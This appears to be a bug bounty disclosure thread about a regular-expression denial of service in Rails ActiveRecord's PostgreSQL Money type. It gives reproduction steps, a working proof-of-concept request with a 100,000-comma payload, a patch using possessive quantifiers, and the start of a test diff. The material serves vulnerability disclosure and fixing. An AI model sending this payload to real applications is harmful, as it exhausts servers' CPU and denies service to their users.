32 Regular expression denial of service in ActiveRecord's PostgreSQL Money type

Share:

TIMELINE

ee-see submitted a report to Ruby on Rails. Nov 1st (2 ye

Summary

Hello team! The regular expressions used in the Money type to convert strings like `-$100,000.00` to `100000` have an execution time with a quadratic growth proportional to the length of the string.

Causing the denial of service requires very long strings but if the parameter is in a post body that won't be a problem.

Details

The regular expressions marked `(1)` and `(2)` in the following code are the vulnerable expressions

Code 228 Bytes Wrap lines Copy Dow

```
1             case value
2             when /^-?\D*[\d,]+\.\d{2}$/  # (1)
3               value.gsub!(/[^-\d.]/, "")
4             when /^-?\D*[\d.]+,\d{2}$/  # (2)
5               value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
6             end
```

This code is invoked when Rails saves a user-input value in a `Money` field. If we look at the first expression, the problem comes from this bit `\D*[\d,]+`. It matches a number" 0 or more times and then "a number or a ," one or more times. The `,` can match both expressions so this is somewhat equivalent to `,*,+` as far as the attack is concerned and is where the `O(n^2)` execution time comes from.

Steps to reproduce

I'm going to assume PostgreSQL is installed and configured on the machine.

Now we'll install the PostgreSQL ruby interface, setup a rails application and scaffold a view for the attack.

Code 134 Bytes Wrap lines Copy Dow

```
1 gem install pg
2 rails new moneydos --database=postgresql
3 cd moneydos
4 rails db:setup
5 rails g scaffold Money amount:money
6 rake db:migrate
```

Now in the `rails console` run these commands. (The same could be accomplished though the UI, but this is simpler for reproduction purpose)

Code 175 Bytes Wrap lines Copy Dow

```
1 app.host = 'localhost'
2 app.get '/money'
3 token = app.session[:_csrf_token]
4 app.post '/money/', params: {money: {amount: ("$" + ","*100000 + ".11!")}, authenticity_token: token}
```

The last line takes 40 seconds to execute on my machine. Add a 0 to the `","*100000` part and the CPU will pretty much spin forever. An attacker could repeat those requests many times to reach full saturation of the host's CPU capabilities and achieve a complete denial of service.

Impact

Denial of service and 100% CPU usage in situations where a malicious user is able to input money amounts in a request body (web shops come to mind as the obvious target)

ee-see posted a comment. Nov 21st (2 ye

Code 788 Bytes Wrap lines Copy Dow

```
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresq
index 357493d..3703e9a 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
@@ -26,9 +26,9 @@ def cast_value(value)

              value = value.sub(/^\((.+)\)$/, '-\1') # (4)
              case value
-             when /^-?\D*[\d,]+\.\d{2}$/  # (1)
+             when /^-?\D*+[\d,]+\.\d{2}$/  # (1)
                value.gsub!(/[^-\d.]/, "")
-             when /^-?\D*[\d.]+,\d{2}$/  # (2)
+             when /^-?\D*+[\d.]+,\d{2}$/  # (2)
                value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
              end
```

It deals with the malicious string without problem

Code 129 Bytes Wrap lines Copy Dow

```
$ time ruby -e 'puts ("$" + ","*100000 + ".11!").match?(/^-?\D*+[\d,]+\.\d{2}$/)'
false

real 0m0.091s
user 0m0.069s
sys  0m0.024s
```

dee-see posted a comment. Dec 4th (2 ye

Hello team!

Just a friendly ping to make sure this report didn't fall through some cracks given that the program page says the average time to first response is 2 days and it's b month.

Have a nice day,
@dee-see

jack_mccracken posted a comment. Jan 5th (2 ye

Hi @dee-see,

Thanks for the reminder. I think your patch looks good, would you be able to write tests for it and we can put out a release?

tenderlove Ruby on Rails staff changed the status to **Triaged**. Jan 5th (2 ye

dee-see posted a comment. Jan 5th (2 ye

Code 1.56 KiB Wrap lines Copy Dow

```
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresq
index 357493dfc0..3703e9a646 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
@@ -26,9 +26,9 @@ def cast_value(value)

              value = value.sub(/^\((.+)\)$/, '-\1') # (4)
              case value
-             when /^-?\D*[\d,]+\.\d{2}$/  # (1)
+             when /^-?\D*+[\d,]+\.\d{2}$/  # (1)
                value.gsub!(/[^-\d.]/, "")
-             when /^-?\D*[\d.]+,\d{2}$/  # (2)
+             when /^-?\D*+[\d.]+,\d{2}$/  # (2)
                value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
              end

diff --git a/activerecord/test/cases/adapters/postgresql/money_test.rb b/activerecord/test/cases/adapters/postgresql/money_test.rb
index b051a9efc4..da3643e57f 100644
--- a/activerecord/test/cases/adapters/postgresql/money_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/money_test.rb
@@ -64,6 +64,14 @@ def test_money_type_cast
```